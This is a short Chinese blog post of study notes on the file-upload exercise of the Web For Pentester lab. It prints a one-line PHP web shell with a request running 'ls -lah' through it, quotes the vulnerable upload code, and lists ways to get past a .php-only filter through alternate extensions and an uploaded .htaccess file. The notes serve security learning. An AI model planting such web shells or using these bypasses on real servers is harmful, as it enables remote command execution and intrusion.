syntax highlighter

2013年10月15日星期二

Web For Pentester 学习笔记 5 - File Upload

http://vulnerable/upload/images/evil.php?cmd=ls -lah

// 上传一个evil.php文件,内容如下:
<?php
  system($_GET["cmd"]);
?>

// 风险代码
// 任何类型的文件都能上传
move_uploaded_file($_FILES['image']['tmp_name'], 
                   '/var/www/upload/images/', 
     basename($_FILES['image']['name']));

// 就算只过滤了php类型,也能通过.htaccess和后缀命名绕过
// 方法1: 命名为.php3 , .php4, .php5再上传,如evil.php4
// 方法2: 命名为.blah再上传,以便根据apache规则,自动换成php来解析(因为不认识.blah),如evil.blah
// 方法3: 上传.htaccess文件
// 注: 可是怎么执行呢?
if(preg_match('/\.php$/', $file)) die;

没有评论:

发表评论